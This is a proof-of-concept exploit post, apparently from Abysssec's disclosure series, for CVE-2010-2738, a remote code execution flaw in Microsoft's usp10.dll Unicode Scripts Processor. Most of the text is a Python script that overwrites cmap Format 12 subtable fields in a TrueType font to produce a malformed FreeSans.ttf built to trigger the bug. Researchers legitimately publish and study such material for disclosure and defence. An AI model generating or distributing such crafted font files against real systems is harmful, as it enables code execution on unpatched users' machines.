Month Of Abysssec Undisclosed Bugs - Microsoft Unicode Scripts Processor

`'''  
  
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| |\/| | | | |/ /\ \| | | | _ < (Final Binary Analysis)  
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'''  
  
'''  
Title : Microsoft Unicode Scripts Processor Remote Code Execution  
Version : usp10.dll XP , Vista  
Analysis : http://www.abysssec.com  
Vendor : http://www.microsoft.com  
Impact : Critical  
Contact : shahin [at] abysssec.com , info [at] abysssec.com  
Twitter : @abysssec  
CVE : CVE-2010-2738  
MOAUB Number : MOAUB-FINAL  
  
http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/  
http://www.exploit-db.com/sploits/moaub-30-PoC.zip  
'''  
  
import sys  
import struct  
def main():  
  
try:  
  
fdR = open('src.ttf', 'rb+')  
strTotal = fdR.read()  
str1 = strTotal[:18316]  
nGroups = '\x00\x00\x00\xDC' # nGroups field from Format 12 subtable of cmap table  
startCharCode = '\x00\xE5\xF7\x20' # startCharCode field from a Group Structure  
endCharCode = '\x00\xE5\xF7\xFE' # endCharCode field from a Group Structure  
str2 = strTotal[18328:]  
  
fdW= open('FreeSans.ttf', 'wb+')  
fdW.write(str1)  
fdW.write(nGroups)  
fdW.write(startCharCode)  
fdW.write(endCharCode)  
fdW.write(str2)  
fdW.close()  
fdR.close()  
print '[-] Font file generated'  
except IOError:  
print '[*] Error : An IO error has occurred'  
print '[-] Exiting ...'  
sys.exit(-1)  
  
if __name__ == '__main__':  
main()  
  
`